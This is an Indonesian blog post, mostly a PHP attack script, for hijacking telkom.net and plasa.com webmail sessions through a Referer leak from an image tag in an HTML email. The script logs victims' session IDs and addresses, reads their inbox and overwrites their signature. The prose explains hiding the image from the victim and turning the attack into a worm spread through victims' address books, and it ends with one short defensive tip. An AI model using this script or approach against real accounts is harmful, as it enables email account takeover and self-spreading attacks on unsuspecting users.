// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,“telkom.net”)>-1) {
$telkomnet = true;
}
if (strpos($ref,“plasa.com”)>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
}
$file = fopen(“daftarkorban.txt”,“a”);
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode(“/”,$ref);
$sessid = $tokens[4];
fwrite($file,“######\n“);
fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].“\n“);
fwrite($file,“SESSID:”.$sessid.“\n“);
$urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”;
$inboxhtml = file_get_contents($urlhost);
preg_match(‘/(.*?)<\/title>/i’</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$inboxhtml</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$matches</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$title</span><span style="color: rgb(51, 153, 51); ">=</span><span style="color: rgb(0, 0, 136); ">$matches</span><span style="color: rgb(0, 153, 0); ">[</span>1<span style="color: rgb(0, 153, 0); ">]</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$email</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 136); ">$title</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$pos</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">strpos</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$title</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 255); ">” “</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$pos</span> <span style="color: rgb(51, 153, 51); ">></span> <span style="color: rgb(51, 153, 51); ">-</span>1<span style="color: rgb(0, 153, 0); ">)</span> <span style="color: rgb(0, 153, 0); ">{</span><br><span style="color: rgb(0, 0, 136); ">$email</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">substr</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$title</span><span style="color: rgb(51, 153, 51); ">,</span>0<span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 136); ">$pos</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 153, 0); ">}</span></p><p style="padding: 0px 0px 15px; "><span style="color: rgb(153, 0, 0); ">fwrite</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$file</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 255); ">“KORBAN:”</span><span style="color: rgb(51, 153, 51); ">.</span><span style="color: rgb(0, 0, 136); ">$email</span><span style="color: rgb(51, 153, 51); ">.</span><span style="color: rgb(0, 0, 255); ">“<span style="font-weight: bold; color: rgb(0, 0, 153); ">\n</span>“</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">fwrite</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$file</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 255); ">“******<span style="font-weight: bold; color: rgb(0, 0, 153); ">\n</span>“</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">fclose</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$file</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span></p><p style="padding: 0px 0px 15px; "><span style="color: rgb(0, 0, 136); ">$image</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">ImageCreate</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$width</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$height</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$white</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">ImageColorAllocate</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 255<span style="color: rgb(51, 153, 51); ">,</span> 255<span style="color: rgb(51, 153, 51); ">,</span> 255<span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$black</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">ImageColorAllocate</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 0<span style="color: rgb(51, 153, 51); ">,</span> 0<span style="color: rgb(51, 153, 51); ">,</span> 0<span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$grey</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">ImageColorAllocate</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 204<span style="color: rgb(51, 153, 51); ">,</span> 204<span style="color: rgb(51, 153, 51); ">,</span> 204<span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageFill</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 0<span style="color: rgb(51, 153, 51); ">,</span> 0<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$black</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageString</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 3<span style="color: rgb(51, 153, 51); ">,</span> 15<span style="color: rgb(51, 153, 51); ">,</span> 5<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$sessid</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$white</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageString</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 3<span style="color: rgb(51, 153, 51); ">,</span> 25<span style="color: rgb(51, 153, 51); ">,</span> 25<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$email</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$white</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span></p><p style="padding: 0px 0px 15px; "><span style="font-style: italic; color: rgb(102, 102, 102); ">// Writing Signature…</span><br><span style="color: rgb(0, 0, 136); ">$url</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 255); ">“<a class="linkification-ext" title="Linkification: http://mail.telkom.net/Session/" href="http://mail.telkom.net/Session/" style="color: rgb(182, 0, 0); text-decoration: none; ">http://mail.telkom.net/Session/</a><span style="font-weight: bold; color: rgb(0, 102, 153); ">$sessid</span>/settings.wssp”</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$plasacom</span><span style="color: rgb(51, 153, 51); ">==</span><span style="font-weight: bold; color: rgb(0, 153, 0); ">true</span><span style="color: rgb(0, 153, 0); ">)</span> <span style="color: rgb(0, 153, 0); ">{</span><br><span style="color: rgb(0, 0, 136); ">$url</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 255); ">“<a class="linkification-ext" title="Linkification: http://mail1.plasa.com/Session/" href="http://mail1.plasa.com/Session/" style="color: rgb(182, 0, 0); text-decoration: none; ">http://mail1.plasa.com/Session/</a><span style="font-weight: bold; color: rgb(0, 102, 153); ">$sessid</span>/settings1.wssp”</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 153, 0); ">}</span><br><span style="color: rgb(0, 0, 136); ">$old_settings</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">file_get_contents</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$url</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">preg_match</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 255); ">‘/<textarea(.*?)>(.*?)<\/textarea>/i’</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$old_settings</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$matches</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$oldsig</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 136); ">$matches</span><span style="color: rgb(0, 153, 0); ">[</span>2<span style="color: rgb(0, 153, 0); ">]</span><span style="color: rgb(51, 153, 51); ">;</span></p><p style="padding: 0px 0px 15px; "><span style="color: rgb(0, 0, 136); ">$data</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">array</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">[</span><span style="color: rgb(0, 0, 255); ">"UserFrom"</span><span style="color: rgb(0, 153, 0); ">]</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 136); ">$email</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$newsig</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 255); ">“[YOUR EMAIL HAS BEEN HACKED]“</span><span style="color: rgb(51, 153, 51); ">.</span><span style="color: rgb(0, 0, 136); ">$oldsig</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">[</span><span style="color: rgb(0, 0, 255); ">"Signature"</span><span style="color: rgb(0, 153, 0); ">]</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 136); ">$newsig</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">[</span><span style="color: rgb(0, 0, 255); ">"Update"</span><span style="color: rgb(0, 153, 0); ">]</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(0, 0, 255); ">“Update”</span><span style="color: rgb(51, 153, 51); ">;</span></p><p style="padding: 0px 0px 15px; "><span style="color: rgb(0, 0, 136); ">$response</span> <span style="color: rgb(51, 153, 51); ">=</span> doPost<span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$url</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(153, 0, 0); ">strpos</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$response</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 255); ">“Updated”</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">>-</span>1 <span style="color: rgb(51, 153, 51); ">&&</span> <span style="color: rgb(0, 0, 136); ">$telkomnet</span><span style="color: rgb(51, 153, 51); ">==</span><span style="font-weight: bold; color: rgb(0, 153, 0); ">true</span><span style="color: rgb(0, 153, 0); ">)</span> <span style="color: rgb(51, 153, 51); ">||</span> <span style="color: rgb(0, 0, 136); ">$plasacom</span><span style="color: rgb(51, 153, 51); ">==</span><span style="font-weight: bold; color: rgb(0, 153, 0); ">true</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(0, 153, 0); ">{</span><br><span style="color: rgb(153, 0, 0); ">ImageString</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(204, 102, 204); ">3</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(204, 102, 204); ">35</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(204, 102, 204); ">50</span><span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 255); ">“Signature anda berhasil diganti menjadi:”</span> <span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 136); ">$white</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageString</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(51, 153, 51); ">,</span> 3<span style="color: rgb(51, 153, 51); ">,</span> 45<span style="color: rgb(51, 153, 51); ">,</span> 65<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$newsig</span> <span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$white</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 153, 0); ">}</span><br><span style="color: rgb(153, 0, 0); ">header</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 255); ">“Content-Type: image/jpeg”</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageJpeg</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">ImageDestroy</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$image</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span></p><p style="padding: 0px 0px 15px; "><span style="font-weight: bold; ">function</span> doPost<span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$url</span><span style="color: rgb(51, 153, 51); ">,</span><span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">)</span> <span style="color: rgb(0, 153, 0); ">{</span><br><span style="color: rgb(0, 0, 136); ">$ch</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">curl_init</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">curl_setopt</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(51, 153, 51); ">,</span> CURLOPT_URL<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$url</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">curl_setopt</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(51, 153, 51); ">,</span> CURLOPT_RETURNTRANSFER<span style="color: rgb(51, 153, 51); ">,</span> 1<span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">curl_setopt</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(51, 153, 51); ">,</span> CURLOPT_POST<span style="color: rgb(51, 153, 51); ">,</span> 1<span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(153, 0, 0); ">curl_setopt</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(51, 153, 51); ">,</span> CURLOPT_POSTFIELDS<span style="color: rgb(51, 153, 51); ">,</span> <span style="color: rgb(0, 0, 136); ">$data</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 0, 136); ">$response</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">curl_exec</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(153, 0, 0); ">curl_errno</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(0, 153, 0); ">)</span><br><span style="color: rgb(0, 153, 0); ">{</span><br><span style="color: rgb(0, 0, 136); ">$response</span> <span style="color: rgb(51, 153, 51); ">=</span> <span style="color: rgb(153, 0, 0); ">curl_error</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 153, 0); ">}</span><br><span style="color: rgb(153, 0, 0); ">curl_close</span><span style="color: rgb(0, 153, 0); ">(</span><span style="color: rgb(0, 0, 136); ">$ch</span><span style="color: rgb(0, 153, 0); ">)</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(177, 177, 0); ">return</span> <span style="color: rgb(0, 0, 136); ">$response</span><span style="color: rgb(51, 153, 51); ">;</span><br><span style="color: rgb(0, 153, 0); ">}</span><br><span style="font-weight: bold; ">?></span></p></td></tr></tbody></table></div><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke <a class="linkification-ext" title="Linkification: http://mail.telkom.net/Session/" href="http://mail.telkom.net/Session/" style="color: rgb(182, 0, 0); text-decoration: none; ">http://mail.telkom.net/Session/</a>[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.</p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; "><strong>Launch The Attack</strong></p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah <a class="linkification-ext" title="Linkification: mailto:rizki.wicaksono@telkom.net" href="mailto:rizki.wicaksono@telkom.net" style="color: rgb(182, 0, 0); text-decoration: none; ">rizki.wicaksono@telkom.net</a> dan korban adalah <a class="linkification-ext" title="Linkification: mailto:rizki.wicaksono@plasa.com" href="mailto:rizki.wicaksono@plasa.com" style="color: rgb(182, 0, 0); text-decoration: none; ">rizki.wicaksono@plasa.com</a>. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.</p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.</p><h1 style="color: rgb(51, 51, 51); font-size: 22px; font-family: Arial, Tahoma, Verdana; font-weight: normal; margin: 0px 0px 5px; padding: 10px 0px 0px; line-height: 18px; text-align: -webkit-auto; "><img title="signature1" src="http://www.ilmuhacking.com/wp-content/uploads/2009/04/signature1-300x144.png" alt="signature1" width="400" height="144"></h1><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Dan gambar berikut adalah gambar ketika email attacker tiba.</p><h1 style="color: rgb(51, 51, 51); font-size: 22px; font-family: Arial, Tahoma, Verdana; font-weight: normal; margin: 0px 0px 5px; padding: 10px 0px 0px; line-height: 18px; text-align: -webkit-auto; "><img class="size-medium wp-image-1331" title="emailattackertiba" src="http://www.ilmuhacking.com/wp-content/uploads/2009/04/emailattackertiba-300x97.png" alt="email attacker tiba" width="400" height="195"></h1><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.</p><h1 style="color: rgb(51, 51, 51); font-size: 22px; font-family: Arial, Tahoma, Verdana; font-weight: normal; margin: 0px 0px 5px; padding: 10px 0px 0px; line-height: 18px; text-align: -webkit-auto; "><img class="size-medium wp-image-1334" title="emaildibuka" src="http://www.ilmuhacking.com/wp-content/uploads/2009/04/emaildibuka-300x186.png" alt="victim open email and his session hijacked instantly" width="400" height="186"></h1><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.</p><h1 style="color: rgb(51, 51, 51); font-size: 22px; font-family: Arial, Tahoma, Verdana; font-weight: normal; margin: 0px 0px 5px; padding: 10px 0px 0px; line-height: 18px; text-align: -webkit-auto; "><img title="signature2" src="http://www.ilmuhacking.com/wp-content/uploads/2009/04/signature2-300x135.png" alt="signature2" width="400" height="135"></h1><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; "><strong>Worm Attack: More Dangerous Scenario</strong></p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.</p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.</p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; "><strong>Tips Menghindari Serangan</strong></p><p align="justify" style="padding: 0px 0px 15px; color: rgb(32, 32, 32); font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px; ">Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.</p><p></p></DIV>